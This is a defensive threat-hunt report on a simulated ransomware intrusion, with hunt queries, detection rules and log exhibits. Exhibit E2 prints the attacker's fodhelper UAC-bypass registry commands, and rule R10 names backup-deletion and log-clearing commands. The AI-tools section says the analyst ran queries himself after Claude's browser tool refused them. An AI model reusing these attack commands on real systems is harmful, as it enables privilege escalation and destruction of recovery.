TLP:CLEAR · SIMULATED RANGE DATA

CYBER RANGE · HUNT 22

Harborlight.

One phishing download on a front-office PC became **Akira ransomware on all three hosts** in just over three hours, with the shared files sent to MEGA and a new domain admin left behind.

HOSTS ENCRYPTED	TO THE DC	BEACONING AFTER	FLAGS
3 of 3	**2h 29m**	**13h 30m**	**46 / 46**
05:13:05 to 05:17:35 UTC	first execution to C$ on the DC	the DC still beaconing at the end of the data	first finisher · on time

§ 01 Front matter

FIELD	VALUE
Hunt	Cyber Range Hunt 22, "Harborlight" (HL-INC-2026-0204)
Author	Ken Kariuki
Version	v3.1, 2026-10-23
Result	46 of 46 flags, 4,060 / 4,190 points, on time; first finisher on the scoreboard
Classification	TLP:CLEAR (simulated range data; the hunt closed on 2026-10-13)
Distribution	Public

VERSION	DATE	CHANGE
1.0	2026-10-03	Written during the live hunt
2.0	2026-10-03	Confidence labels; seven detections tested; a fix for each gap
3.0	2026-10-23	17-section format; every finding re-run on the dataset; Security, PowerShell and Defender logs added; eleven detections replayed; exhibits E1–E11
3.1	2026-10-23	Rewritten to the point: findings grouped by phase, one claim each, timeline cut to the key moments

Clock note

All events are on 2026-02-04 and every time is UTC from `EventTime`; `TimeGenerated` is ingestion time (2026-08-18). The portal shows Pacific time, so 01:57 UTC appears as 3 Feb 5:57 PM.

Labels

"`(Confidence: …)`" marks an inference; a fact cites its exhibit (E#, App C). Passwords in attacker command lines are masked.

§ 02 Executive summary

Bottom line. One phishing download gave an operator the whole domain in just over three hours. They stole the shared files to MEGA, encrypted all three hosts and left a new domain admin behind, and the domain controller was still under their control when the data ends. Severity: Critical.

HOSTS ENCRYPTED	DATA TO MEGA	ALERTS ACTED ON	NEW DOMAIN ADMIN
3 of 3	**Sent**	**0**	**svc_sql**
128 notes, 27 files (E6)	volume not determined (B1)	Defender quarantined one implant itself (E10)	Domain Admins at 05:22:57 (E6)

What happened

01:57 Emily Grant opens a phishing archive on the front-office PC; the DLL inside runs.
02:42 to 04:28 The attacker reaches SYSTEM on her PC, then her own password opens the file server and the domain controller.
03:57 to 05:22 `C:\Shares` goes to MEGA, the backups are deleted, the AD database is copied, Akira encrypts all three hosts and `svc_sql` joins Domain Admins.
09:24 Defender quarantines the PC's implant: the only control that acted, and nobody saw it.
13:44 The first person at a console signs in to the file server and starts a second copy of the implant; the domain controller is never touched.

Recommended now

(1) Isolate the file server and the domain controller. (2) Disable `svc_sql`. (3) Reset every domain password, and `krbtgt` twice. (4) Rebuild the domain controller from a backup older than 4 February. (5) Start breach notification for the patient and claims data on `C:\Shares`.

§ 03 Overview

ITEM	VALUE
Hunt	Live community hunt, 46 questions, simulated intrusion
Client	Harborlight Dental & Insurance; IT by Coastal MSP, with no SOC and no alert queue
Hosts	BACKOFFICE-PC1 (workstation, Emily.Grant) · HL-FS01 (file server) · ADDC01 (domain controller); one flat /24
Data	`HarborlightDental_CL`, 44,989 rows: Sysmon 27,231 and Windows event logs 17,758 (E9)
Period	2026-02-04 00:00:18 to 18:47:29 UTC
Analyst	Ken Kariuki, lead analyst, with AI tooling (§16)
Severity	Critical: human-operated ransomware with data theft and domain compromise `(Confidence: High)`

§ 04 Hypothesis and ABLE

Hypothesis

A phishing download gave an operator a foothold, which Emily's own credentials widened to the file server and the domain controller, ending in data theft and encryption.

ABLE	CONTENT
Actor	Unknown operator; Akira-branded ransomware; `cdn.` and `sync.cloud-endpoint.net` behind Cloudflare; MEGA account `jwilson.vhr@proton.me`
Behaviour	ISO lure, rundll32, UAC bypass, Print Spooler injection, LSASS access, admin shares, rclone, anti-recovery, encryption, log clearing
Location	BACKOFFICE-PC1, HL-FS01, ADDC01
Evidence	Sysmon; Windows Security, System and PowerShell; Defender (E9)

Tested against (§10): H1 insider, H2 the MSP's own work, H3 commodity malware with no operator, H4 encryption without theft.

§ 05 Threat intel inputs

The range brief set the scene. CISA and FBI advisory AA24-109A ("#StopRansomware: Akira Ransomware", updated 2025-11-13) lists rclone to MEGA, remote tools such as AnyDesk and vssadmin shadow-copy deletion. The chain matches in broad strokes (similarity, not attribution; Confidence: Low); every indicator here comes from the logs.

§ 06 Scope, data sources and blind spots

SOURCE	ROWS	COVERAGE
Sysmon	27,231	Process, network, file, registry, DNS and process access on all three hosts
Windows Security	15,876	Sign-ins, account and group changes, log clears; partial on the workstation (B3)
PowerShell Operational	952	Script blocks, mostly on the file server
Windows System and Application	911	Services, log clears, power events
Defender Operational	19	Workstation only (B2)
Network, proxy, DNS, MSP, AnyDesk, MEGA	–	Not available

B1 No network logs: bytes to MEGA and beacon content are unknown.

B2 No Defender log from the servers.

B3 The workstation's own log-clear events never arrived (E5).

B4 No memory, disks or binaries: the malware is known by path and verdict only.

B5 No AnyDesk or MSP logs: who used AnyDesk is unknown.

B6 The data ends at 18:47:29 with the DC still beaconing.

§ 07 Execution

Method

The live hunt worked the 46 questions in order, checking each answer against the raw rows before submitting it (§16). Version 3 re-ran every finding on 2026-10-23 and saved each query with its output as an exhibit (E1–E11).

RULED OUT	WHY
268 Credential Manager reads	The operating system's own, all day
`akira_svc`	Only looked up; never created (E6)
Defender's 01:14 tamper alert	Defender rewriting its own keys, 43 minutes before the lure (E10)
The first two `net group` attempts	Failed on mangled quoting
ANONYMOUS LOGON account changes at 00:16:44 and 06:16:44	Same second, six hours apart: a periodic job `(Confidence: Medium)`
The `RuntimeBroker.exe` copies v2 left open	Attacker downloads (F4)

§ 08 Timeline

00:29:02 2026-02-04 UTC
AnyDesk already running on the workstation
Sysmon · E7

01:57:15 2026-02-04 UTC
Emily downloads the first lure
Sysmon · E1

01:59:15 2026-02-04 UTC
`review.dll` runs from the mounted ISO
Sysmon · E1

02:25:07 2026-02-04 UTC
First beacon to `cdn.cloud-endpoint.net`
Sysmon · App A q4

02:42:39 2026-02-04 UTC
UAC bypass reaches High integrity
Sysmon · E2

02:47:11 2026-02-04 UTC
Implant moves into the Print Spooler (SYSTEM)
Sysmon · E3

03:34:09 2026-02-04 UTC
Emily's password mounts the file server's `C$`
Sysmon · E4

03:44:57 2026-02-04 UTC
Tools downloaded from `sync.cloud-endpoint.net`
PowerShell · E10

03:57:40 2026-02-04 UTC
`C:\Shares` copied to MEGA
Sysmon · E4

04:03:50 2026-02-04 UTC
Defender switched off on the file server
PowerShell · E10

04:04:05 2026-02-04 UTC
Backups and shadow copies deleted
Sysmon · E5

04:28:22 2026-02-04 UTC
Same password mounts the domain controller's `C$`
Sysmon · E4

04:33:55 2026-02-04 UTC
AD database copied with ntdsutil
Sysmon · E5

05:13:05 2026-02-04 UTC
Akira runs: file server, DC 05:14, workstation 05:17
Sysmon · E6

05:22:57 2026-02-04 UTC
`svc_sql` added to Domain Admins
Security · E6

09:24:04 2026-02-04 UTC
Defender quarantines the workstation's implant
Defender · E10

13:44:55 2026-02-04 UTC
Console sign-in on the file server starts a second implant
Security, Sysmon · E7, E11

14:27:48 2026-02-04 UTC
Workstation powered off
System · E7

18:47:29 2026-02-04 UTC
DC's last beacon; the data ends
Sysmon · E6

§ 09 Findings

Foothold

F1 Two lures, one DLL

STATE	Emily opened two archives; each held an ISO whose `review.dll` ran through rundll32, and the first beacon followed the second run by one second.
SHOW	E1.
INTERPRET	the ISO likely shed the browser's download mark `(Confidence: Medium; not logged)`.

F2 SYSTEM within an hour

STATE	a fodhelper UAC bypass reached High integrity at 02:42:39; injection into the Print Spooler gave SYSTEM at 02:47:11.
SHOW	E2, E3.
INTERPRET	every later command runs as SYSTEM `(Confidence: High)`.

Spread

F3 Her own password opened both servers

STATE	LSASS was opened with full access on all three hosts; Emily's password was typed in clear to mount `C$` on the file server (03:34) and the domain controller (04:28).
SHOW	E3, E4.
INTERPRET	the attacker knew it `(Confidence: High)`, most likely from LSASS `(Confidence: Medium)`.

F4 The tools came from a second host name

STATE	six encoded PowerShell downloads on the file server pulled the toolkit from `sync.cloud-endpoint.net`, including a fake `MsMpEng.exe` inside the Defender folder.
SHOW	E10.
INTERPRET	the operator staged tools per host, on demand `(Confidence: High)`.

Theft and destruction

F5 `C:\Shares` went to MEGA

STATE	a renamed rclone ran three copies to `mega:HARBORLIGHT-exfil` and resolved MEGA storage 39 times.
SHOW	E4.
INTERPRET	the upload reached MEGA `(Confidence: High)`; its size is unknown (B1).

F6 Recovery and the directory, gone

STATE	the file server lost shadow copies, boot recovery and its backup catalog, twice; the domain controller's AD database was copied; logs were cleared on all three hosts.
SHOW	E5.
INTERPRET	treat every domain credential as stolen `(Confidence: High)`.

F7 Encryption, and a backdoor admin

STATE	128 ransom notes and 27 encrypted files; the directory's own events show `svc_sql` created and added to Domain Admins at 05:22:57, and it never signs in.
SHOW	E6.
INTERPRET	a standing backdoor `(Confidence: High; v2 said Medium)`.

Response

F8 One alert, and nobody watching

STATE	Defender quarantined the workstation's implant at 09:24:04 and that host went quiet; on the file server Defender had been switched off at 04:03.
SHOW	E10, E6.
INTERPRET	the alert reached no one, so the servers ran for another 4 h 20 min `(Confidence: High)`.

F9 The first sign-in ran the backdoor again

STATE	at 13:44:55 the file server's local Administrator signed in at the console; 21 s later Explorer started the implant, and its beacons doubled. The workstation's helpdesk account signed in at 13:49 and read AnyDesk's log; the PC was powered off at 14:27. The DC was never touched.
SHOW	E7, E11.
INTERPRET	the Run key fired under a privileged account `(Confidence: Medium)`; the DC stayed compromised `(Confidence: High)`.

F10 AnyDesk was already there

STATE	AnyDesk ran from 00:29, before the first lure, and looked up its relays at 10:43 and 13:47.
SHOW	E7.
INTERPRET	most likely the MSP's tool (Confidence: Medium); attacker use is not shown (B5).

Negative findings

LOOKED FOR	RESULT
Attacker activity before the first lure	None
Other accounts created	Only `svc_sql`
Other privileged-group changes	Only the two `svc_sql` additions (E8 R11)
`svc_sql` signing in	Never
Attacker services	None; only Windows' per-user services at the 13:44 and 13:49 sign-ins
A workstation beacon after the quarantine	None after 09:23:49
The AD database copy leaving the DC	None logged (B1)

§ 10 Hypothesis outcome

Confirmed: phishing foothold, credential reuse to both servers, theft to MEGA, AD database copy and encryption of all three hosts (E1–E6). **Not determined:** how much reached MEGA, whether the AD copy left the DC, and who was at the consoles (B1, B5).

COUNTER-HYPOTHESIS	VERDICT
H1 Insider	Rejected (Confidence: High): Emily's only steps are two downloads; the rest is implant work as SYSTEM
H2 The MSP's own work	Rejected (Confidence: High): rclone to a proton.me MEGA account, deleted backups, ransomware
H3 No operator	Rejected (Confidence: Medium): tools staged on demand, retyped commands, a new domain admin
H4 No theft	Rejected (Confidence: High): three rclone copies and 39 MEGA lookups

Dwell

MEASURE	TIME
Observed span (first download to last event)	16 h 50 min
First execution to the domain controller	2 h 29 min
First execution to encryption	3 h 14 min
Beaconing after the encryption	13 h 30 min
First download to Defender's first real detection	7 h 26 min
First download to the first person at a console	11 h 48 min

Scope and impact

Three of three hosts encrypted. Emily's password is known and `svc_sql` is a Domain Admin, and the AD database copy exposes every domain credential. `C:\Shares` left for MEGA and is treated as patient and claims data. The file server cannot recover locally. Legal decides on notification.

§ 11 ATT&CK coverage

Hunted, not observed: T1219 Remote Access Software (AnyDesk predates the intrusion, F10) and T1090.004 Domain Fronting (Cloudflare addresses only).

STAGE	TECHNIQUES
Initial access, execution	T1566 Phishing; T1204.002 Malicious File; T1218.011 Rundll32; T1059.001 PowerShell; T1059.003 Command Shell; T1047 WMI
Defence evasion	T1553.005 Mark-of-the-Web Bypass (inferred); T1055 Process Injection; T1036.005 Masquerading; T1027 Obfuscation; T1562.001 Disable Tools; T1070.001 Clear Event Logs
Privilege escalation	T1548.002 Bypass UAC
Credential access	T1003.001 LSASS Memory (access only); T1003.003 NTDS
Discovery	T1018 Remote System Discovery; T1046 Network Service Discovery
Lateral movement	T1021.002 Admin Shares; T1078.002 Domain Accounts; T1570 Lateral Tool Transfer
Command and control	T1071.001 Web Protocols; T1105 Ingress Tool Transfer
Exfiltration	T1567.002 Exfiltration to Cloud Storage
Persistence	T1547.001 Run Keys; T1053.005 Scheduled Task; T1136.002 Domain Account; T1098.007 Domain Groups
Impact	T1486 Encryption; T1490 Inhibit Recovery; T1489 Service Stop

§ 12 Detection and telemetry gaps

Every fix is proposed to Coastal MSP.

GAP	FIX	TEST
Defender's alert reached nobody	Page the on-call for Defender alerts	A test detection pages within 5 minutes
Defender could be switched off by script	Tamper Protection on every server	`Set-MpPreference` can no longer disable it
An ISO lure ran a DLL	Block ISO mounting; app control on mounted drives and Public	A user cannot run a DLL from D:
UAC bypassed silently	"Always notify"; no local admin for staff	The same trick yields no High process
LSASS readable	LSASS protection and Credential Guard	A full-access open is denied
The workstation reached server admin shares	Segment; block SMB and RPC to servers	445 and 135 from the PC fail
One user's password opened the DC	Separate admin accounts with MFA	`net use` as Emily is refused
MEGA reachable	Block consumer cloud storage	A MEGA lookup is blocked and logged
Backups deletable on the host	Offline or immutable copies	A test restore succeeds
No alert on a new Domain Admin or a log clear	Alert on 4728, 4732, 1102 and 104; forward logs as written	A test add and a test clear both alert
The responder signed in before isolating	Runbook: isolate first; no privileged sign-ins	A tabletop isolates first
R3 and R7 skip any "Windows Defender" path	Exclude only `\Windows Defender\Platform\`, by signer	A replay flags the fake `MsMpEng.exe`

§ 13 New detections

All eleven were replayed on the whole dataset (E8). R1–R7 return the v2 counts; R8–R11 are new. No rule fires on the day's ordinary background, a thin baseline, so all eleven stay proposed.

RULE	FIRES ON	MAPS TO	HITS / FP	TUNE FOR
R1	rundll32 running a DLL off C:	T1218.011	4 / 0	Installers on media
R2	The `ms-settings` handler written	T1548.002	6 / 0	Nothing legitimate
R3	A program started from Public or ProgramData\Microsoft	T1036.005	7 / 0	Signed vendor updaters
R4	A remote thread into spoolsv or notepad	T1055	13 / 0	Signed accessibility tools
R5	rclone-style `--config … copy remote:`	T1567.002	3 / 0	Real backups, by host
R6	An account added from a command line	T1136.002	13 / 0	Change windows
R7	DNS from Public, ProgramData or rundll32	T1071.001	64 / 0	Signed agents
R8	LSASS opened with full access	T1003.001	5 / 0	Backup and EDR agents
R9	WMI process creation on a node	T1047	1 / 0	Admin hosts
R10	Recovery, AD-export or log-clear commands, and clear events	T1490, T1070.001	128 / 0	None: alert on every hit
R11	A member added to a privileged group	T1098.007	2 / 0	Change windows

§ 14 Handover to IR

Confirmed: human-operated ransomware with data theft and domain compromise. Recommended, not executed (range).

#	RISK (SINCE, UTC)	ACTION
1	File server and DC under attacker control (03:35:11)	Isolate both; block both `cloud-endpoint.net` names
2	`svc_sql` in Domain Admins (05:22:57)	Disable and delete it; review privileged groups
3	AD database copied (04:33:55)	Reset all passwords and `krbtgt` twice; rebuild the DC
4	Emily's password known (03:34:09)	Reset it; review her sign-ins
5	`C:\Shares` exfiltrated (03:57:40)	Legal: breach notification
6	Implants and persistence remain	Remove them from isolated hosts only (F9)
7	Local recovery destroyed	Restore from an offline copy
8	Evidence ages out	Preserve the rows and AnyDesk's `connection_trace.txt`

A password reset alone changes nothing: the domain admin, the AD copy and the implants all survive it.

§ 15 Next-hunt leads

LEAD	DATA NEEDED
Who used AnyDesk at 10:43 and 13:47	AnyDesk logs; MSP records
How much reached MEGA	Firewall or proxy logs from 03:57:40
Whether the AD copy left the DC	Network logs; share auditing
The server behind `cloud-endpoint.net`	Passive DNS; a Cloudflare abuse report
Who was at the consoles at 13:44 and 13:49	MSP tickets and on-call records

§ 16 AI tools declaration

I ran this hunt as the lead analyst and used Claude (Anthropic), through Claude Code, as my AI tooling.
The live hunt (3 October). Claude drafted KQL and ran it in an Advanced Hunting tab in my signed-in browser, then returned the raw results. Where its browser tool refused credential-access and anti-recovery queries, I ran the drafted KQL in my own tab. I set the order of the pivots, checked each answer against its raw result and submitted every answer myself. I used two paid wording hints (15 points each) and one reveal, on the anti-recovery repeat flag, where the grader rejected an answer the data and the hints supported (reported to staff).
This version (23 October). Claude restructured the report into the 17-section format I now use for live hunts, re-ran every exhibit query and all eleven detection rules against the same dataset through the range's Log Analytics query tool, drafted the new sections, and found the Windows Security, PowerShell and Defender evidence that v2 had not used. I reviewed each new finding against its exhibit and approved all text.
Data handling. I signed in to every portal myself; no passwords or keys were given to the AI. The passwords in the attacker's command lines are masked in every exhibit.

§ 17 Appendices

A Queries

All queries run against `workspace("LAW-SilentCorridor").HarborlightDental_CL` with a wide `TimeGenerated` bound and `EventTime` for order (clock note). The exhibit queries (E1–E11) are printed with their output in App C.

```
// q1 What landed in Downloads, and what wrote it (initial access)
workspace("LAW-SilentCorridor").HarborlightDental_CL
| where TimeGenerated > ago(1000d) and Computer has "BACKOFFICE-PC1" and EventID in ("11","15")
| extend T = column_ifexists("TargetFilename",""), Img = column_ifexists("Image","")
| where T has "Downloads"
| project EventTime, EventID, Img, T
| order by EventTime asc
```

```
// q2 Process tree with integrity level (the fodhelper attempts)
workspace("LAW-SilentCorridor").HarborlightDental_CL
| where TimeGenerated > ago(1000d) and Computer has "BACKOFFICE-PC1" and EventID == "1"
| extend X = tostring(EventData_Xml)
| extend Img = extract("Image.>([^<]+)", 1, X), Cmd = extract("CommandLine.>([^<]+)", 1, X),
         IL = extract("IntegrityLevel.>([^<]+)", 1, X), Parent = extract("ParentImage.>([^<]+)", 1, X)
| where Img has_any ("fodhelper", "taskhostw", "reg.exe")
| project EventTime, Img, Cmd, IL, Parent
| order by EventTime asc
```

```
// q3 Injection into the Print Spooler, per host
workspace("LAW-SilentCorridor").HarborlightDental_CL
| where TimeGenerated > ago(1000d) and EventID in ("8","10")
| extend X = tostring(EventData_Xml)
| extend Src = extract("SourceImage.>([^<]+)", 1, X), Tgt = extract("TargetImage.>([^<]+)", 1, X),
         Access = extract("GrantedAccess.>([^<]+)", 1, X)
| where Tgt has "spoolsv"
| summarize First = min(tostring(EventTime)), n = count() by Computer, EventID, Src, Access
```

```
// q4 Beaconing: destination, port, volume and last-seen per implant
workspace("LAW-SilentCorridor").HarborlightDental_CL
| where TimeGenerated > ago(1000d) and EventID == "3"
| extend X = tostring(EventData_Xml)
| extend Img = extract("Image.>([^<]+)", 1, X), Dst = extract("DestinationIp.>([^<]+)", 1, X),
         Port = extract("DestinationPort.>([^<]+)", 1, X)
| where Img has_any ("Public", "ProgramData", "rundll32") and not(Dst startswith "172.16.")
| summarize First = min(tostring(EventTime)), Last = max(tostring(EventTime)), n = count() by Computer, Img, Dst, Port
```

```
// q5 Ransom notes and encrypted files per host
workspace("LAW-SilentCorridor").HarborlightDental_CL
| where TimeGenerated > ago(1000d) and EventID == "11"
| extend F = extract("TargetFilename.>([^<]+)", 1, tostring(EventData_Xml))
| summarize Notes = countif(F has "akira_readme"), EncryptedFiles = dcountif(F, F endswith ".akira") by Computer
```

```
// q6 Tool staging: every lookup of the cloud-endpoint.net names, and the encoded PowerShell that fetched the tools
let T = workspace("LAW-SilentCorridor").HarborlightDental_CL | extend X = tostring(EventData_Xml);
union
 (T | where EventID == "22" | extend Qn = extract("QueryName.>([^<]+)", 1, X), Img = extract(@"<Data Name=.Image.>
([^<]+)", 1, X)
    | where Qn has "cloud-endpoint"
    | summarize n = count(), First = min(todatetime(EventTime)), Last = max(todatetime(EventTime)) by Host =
tostring(split(Computer, ".")[0]), A = Qn, B = Img),
 (T | where EventID == "1" | extend Cmd = extract("CommandLine.>([^<]+)", 1, X), Img = extract(@"<Data Name=.Image.>
([^<]+)", 1, X), Par = extract("ParentImage.>([^<]+)", 1, X)
    | where Img endswith "powershell.exe" and todatetime(EventTime) between (datetime(2026-02-04 03:40) ..
datetime(2026-02-04 04:10))
    | summarize n = count(), First = min(todatetime(EventTime)), Last = max(todatetime(EventTime)) by Host =
tostring(split(Computer, ".")[0]), A = strcat("powershell parent ", tostring(split(Par, @"\")[-1])), B =
substring(Cmd, 0, 90))
| order by First asc
```

Method notes: host names carry the domain suffix (`BACKOFFICE-PC1.Harborlight.local`), so filters use `has` ; the Windows event-log rows use `EventCode` and `ComputerName` and leave `EventID` and `Computer` empty (E9).

B Detection rules

The eleven rules run as one query; the result is E8.

```
// B1 R1-R7 as in v2; R8-R11 new in v3
let T = workspace("LAW-SilentCorridor").HarborlightDental_CL | extend X = tostring(EventData_Xml);
let P = T | where EventID == "1" | extend Img = extract(@"<Data Name=.Image.>([^<]+)", 1, X), Cmd =
extract("CommandLine.>([^<]+)", 1, X), Parent = extract("ParentImage.>([^<]+)", 1, X);
let W = T | where isempty(Computer) | extend Host = tostring(ComputerName), M = tostring(Message);
union
 (P | where Img endswith "rundll32.exe" and Cmd matches regex @"(?i)\s[d-z]:\\[^\\\s]+\.dll" | extend Rule = "R1",
Detail = Cmd),
 (P | where Cmd has "ms-settings" and Cmd has "shell" and Cmd has "command" | extend Rule = "R2", Detail = Cmd),
 (T | where EventID in ("12", "13") | extend Obj = extract("TargetObject.>([^<]+)", 1, X) | where Obj has "ms-
settings" and Obj has "command" | extend Rule = "R2", Detail = Obj),
 (P | where (Img contains "\\Users\\Public\\" or Img contains "\\ProgramData\\Microsoft\\") and Img !has "Windows
Defender" | extend Rule = "R3", Detail = Img),
 (T | where EventID == "8" | extend Src = extract("SourceImage.>([^<]+)", 1, X), Tgt = extract("TargetImage.>([^<]+)",
1, X) | where Tgt has_any ("spoolsv.exe", "notepad.exe") | extend Rule = "R4", Detail = strcat(Src, " -> ", Tgt)),
 (P | where Cmd has "--config" and Cmd has "copy" and Cmd matches regex @"\s[A-Za-z0-9_-]{2,}:[A-Za-z0-9_-]" | extend
Rule = "R5", Detail = Cmd),
 (P | where (Cmd has "/add" and Cmd has "/domain") or Cmd has "Add-ADGroupMember" or (Cmd has "localgroup" and Cmd has
"Administrators" and Cmd has "/add") | extend Rule = "R6", Detail = Cmd),
 (T | where EventID == "22" | extend Img = extract(@"<Data Name=.Image.>([^<]+)", 1, X), Qn = extract("QueryName.>
([^<]+)", 1, X) | where (Img contains "\\Users\\Public\\" or Img contains "\\ProgramData\\" or Img endswith
"rundll32.exe") and Qn !endswith ".local" and Qn has "." and Img !has "Windows Defender" | extend Rule = "R7", Detail
= strcat(Img, " -> ", Qn)),
 (T | where EventID == "10" | extend Src = extract("SourceImage.>([^<]+)", 1, X), Tgt = extract("TargetImage.>
([^<]+)", 1, X), Acc = extract("GrantedAccess.>([^<]+)", 1, X) | where Tgt endswith "lsass.exe" and Acc == "0x1fffff"
and Src !has "Windows Defender" and Src !endswith "MsMpEng.exe" | extend Rule = "R8", Detail = Src),
 (P | where (Cmd has "/node:" and Cmd has "process call create") or (Parent endswith "WmiPrvSE.exe" and Img has_any
("cmd.exe", "powershell.exe", "vssadmin.exe", "rundll32.exe")) | extend Rule = "R9", Detail = Cmd),
 (P | where (Cmd has "vssadmin" and Cmd has "delete") or (Cmd has "shadowcopy" and Cmd has "delete") or (Cmd has
"bcdedit" and Cmd has "/set") or (Cmd has "wbadmin" and Cmd has "delete") or (Cmd has "ntdsutil" and Cmd has "ifm") or
(Cmd has "wevtutil" and Cmd has " cl ") | extend Rule = "R10", Detail = Cmd),
 (W | where tostring(EventCode) in ("1102", "104") | extend Rule = "R10", Detail = strcat("event ",
tostring(EventCode)), Computer = Host),
 (W | where tostring(EventCode) in ("4728", "4732", "4756") | extend G = extract(@"Group:\s+Security ID:\s+\S+\s+Group
Name:\s+([^\r\n]+)", 1, M) | where G in ("Domain Admins", "Enterprise Admins", "Schema Admins", "Administrators") |
extend Rule = "R11", Detail = G, Computer = Host)
| summarize Hits = count(), Hosts = dcount(Computer), Distinct = dcount(Detail), First =
format_datetime(min(todatetime(EventTime)), "HH:mm:ss"), Last = format_datetime(max(todatetime(EventTime)),
"HH:mm:ss") by Rule
| order by toint(substring(Rule, 1)) asc
```

C Exhibits

E1 The two lures and the first execution

SUPPORTS Edge wrote both archives to Emily's Downloads, 7-Zip was fetched and extracted each ISO, and rundll32 ran review.dll from D: three times, then from E: through the drive-letter loop.

DOES NOT PROVE How the archives reached her (link or attachment), or that the files inside lacked the download mark.

exhibits/E1-the-two-lures-and-the-first-execution-20261023.png

E1 The two lures and the first execution — BACKOFFICE-PC1

```
let T = workspace("LAW-SilentCorridor").HarborlightDental_CL | where Computer has "BACKOFFICE-PC1" | extend X = tostring(EventData_Xml);
union
 (T | where EventID in ("11", "15") | extend F = extract("TargetFilename.>([^<]+)", 1, X), Img = extract(@"<Data Name=.Image.>([^<]+)", 1, X)
    | where F has_any ("Vendor_Invoice_Review", "Harborlight_Insurance_Claims", "7z2501") and F !endswith "Zone.Identifier"
    | summarize UTC = min(todatetime(EventTime)) by EID = EventID, Process = tostring(split(Img, @"\")[-1]), Detail = F),
 (T | where EventID == "1" | extend Cmd = extract("CommandLine.>([^<]+)", 1, X), Parent = extract("ParentImage.>([^<]+)", 1, X)
    | where Cmd has "review.dll"
    | project UTC = todatetime(EventTime), EID = EventID, Process = tostring(split(Parent, @"\")[-1]), Detail = Cmd)
| project UTC = format_datetime(UTC, "yyyy-MM-dd HH:mm:ss"), EID, Process, Detail
| order by UTC asc
```

UTC	EID	PROCESS	DETAIL
2026-02-04 01:57:15	15	msedge.exe	C:\Users\emily.grant\Downloads\Vendor_Invoice_Review.7z
2026-02-04 01:58:13	15	msedge.exe	C:\Users\emily.grant\Downloads\7z2501-x64.exe
2026-02-04 01:58:54	11	7zG.exe	C:\Users\emily.grant\Downloads\Vendor_Invoice_Review
2026-02-04 01:59:02	11	7zG.exe	C:\Users\emily.grant\Downloads\Vendor_Invoice_Review\Vendor_Invoice_Review.iso
2026-02-04 01:59:15	1	explorer.exe	"C:\Windows\System32\rundll32.exe" D:\review.dll,StartW
2026-02-04 01:59:32	1	explorer.exe	"C:\Windows\System32\rundll32.exe" D:\review.dll,StartW
2026-02-04 02:00:08	1	explorer.exe	"C:\Windows\System32\rundll32.exe" D:\review.dll,StartW
2026-02-04 02:24:21	15	msedge.exe	C:\Users\emily.grant\Downloads\Harborlight_Insurance_Claims.7z
2026-02-04 02:24:33	11	7zG.exe	C:\Users\emily.grant\Downloads\Harborlight_Insurance_Claims
2026-02-04 02:24:52	11	7zG.exe	C:\Users\emily.grant\Downloads\Harborlight_Insurance_Claims\Harborlight_Insurance_Claims.iso
2026-02-04 02:25:06	1	explorer.exe	"C:\Windows\System32\cmd.exe" /c for %%d in (D E F G H I J) do @if exist "%%d:\review.dll" rundll32 %%d:\review.dll,StartW
2026-02-04 02:25:06	1	cmd.exe	rundll32 E:\review.dll,StartW
2026-02-04 05:17:35	11	updater.exe	C:\Users\emily.grant\Downloads\Harborlight_Insurance_Claims\akira_readme.txt
2026-02-04 05:17:35	11	updater.exe	C:\Users\emily.grant\Downloads\Harborlight_Insurance_Claims.7z.akira

LAW-SilentCorridor · HarborlightDental_CL — 14 rows · result as returned, 2026-10-23

E2 UAC bypass through fodhelper

SUPPORTS The implant pointed the per-user ms-settings handler at C:\Users\Public\taskhostw.exe; the first fodhelper launch stayed Medium, the launch through cmd produced a High-integrity fodhelper, and taskhostw.exe started High one second later as its child.

DOES NOT PROVE Why the first launch did not elevate.

exhibits/E2-uac-bypass-through-fodhelper-20261023.png

E2 UAC bypass through fodhelper — BACKOFFICE-PC1

```
workspace("LAW-SilentCorridor").HarborlightDental_CL
| where Computer has "BACKOFFICE-PC1" and EventID == "1"
| extend X = tostring(EventData_Xml)
| extend Img = extract(@"<Data Name=.Image.>([^<]+)", 1, X), Cmd = extract("CommandLine.>([^<]+)", 1, X),
         IL = extract("IntegrityLevel.>([^<]+)", 1, X), Parent = extract("ParentImage.>([^<]+)", 1, X)
| where Img has_any ("fodhelper", "taskhostw") or (Img endswith "reg.exe" and Cmd has "ms-settings")
| project UTC = format_datetime(todatetime(EventTime), "yyyy-MM-dd HH:mm:ss"), Process = tostring(split(Img, @"\")[-1]), Integrity = IL, Parent = tostring(split(Parent, @"\")
[-1]), CommandLine = substring(Cmd, 0, 150)
| order by UTC asc
```

UTC	PROCESS	INTEGRITY	PARENT	COMMANDLINE
2026-02-04 02:40:41	reg.exe	Medium	rundll32.exe	reg add HKCU\Software\Classes\ms-settings\shell\open\command /ve /t REG_SZ /d C:\Users\Public\taskhostw.exe /f
2026-02-04 02:40:52	reg.exe	Medium	rundll32.exe	reg add HKCU\Software\Classes\ms-settings\shell\open\command /ve /t REG_SZ /d C:\Users\Public\taskhostw.exe /f
2026-02-04 02:42:08	reg.exe	Medium	rundll32.exe	reg add HKCU\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_SZ /d "" /f
2026-02-04 02:42:11	fodhelper.exe	Medium	rundll32.exe	fodhelper.exe
2026-02-04 02:42:39	fodhelper.exe	Medium	cmd.exe	fodhelper.exe
2026-02-04 02:42:39	fodhelper.exe	Medium	cmd.exe	"C:\Windows\system32\fodhelper.exe"
2026-02-04 02:42:39	fodhelper.exe	High	cmd.exe	"C:\Windows\system32\fodhelper.exe"
2026-02-04 02:42:40	taskhostw.exe	High	fodhelper.exe	"C:\Users\Public\taskhostw.exe"

LAW-SilentCorridor · HarborlightDental_CL — 8 rows · result as returned, 2026-10-23

E3 Injection into the Print Spooler, and full-access opens of LSASS

SUPPORTS Remote threads into notepad.exe and spoolsv.exe on every host (13 in all), and lsass.exe opened with PROCESS_ALL_ACCESS (0x1fffff) by spoolsv.exe on the workstation and by taskhostw.exe on all three hosts.

DOES NOT PROVE That memory was dumped: no dump file is logged.

exhibits/E3-injection-into-the-print-spooler-and-ful-20261023.png

E3 Injection into the Print Spooler, and full-access opens of LSASS — all three

```
workspace("LAW-SilentCorridor").HarborlightDental_CL
| where EventID in ("8", "10")
| extend X = tostring(EventData_Xml)
| extend Src = extract("SourceImage.>([^<]+)", 1, X), Tgt = extract("TargetImage.>([^<]+)", 1, X), Access = extract("GrantedAccess.>([^<]+)", 1, X)
| where (EventID == "8" and Tgt has_any ("spoolsv.exe", "notepad.exe")) or (EventID == "10" and Tgt endswith "lsass.exe" and Access == "0x1fffff")
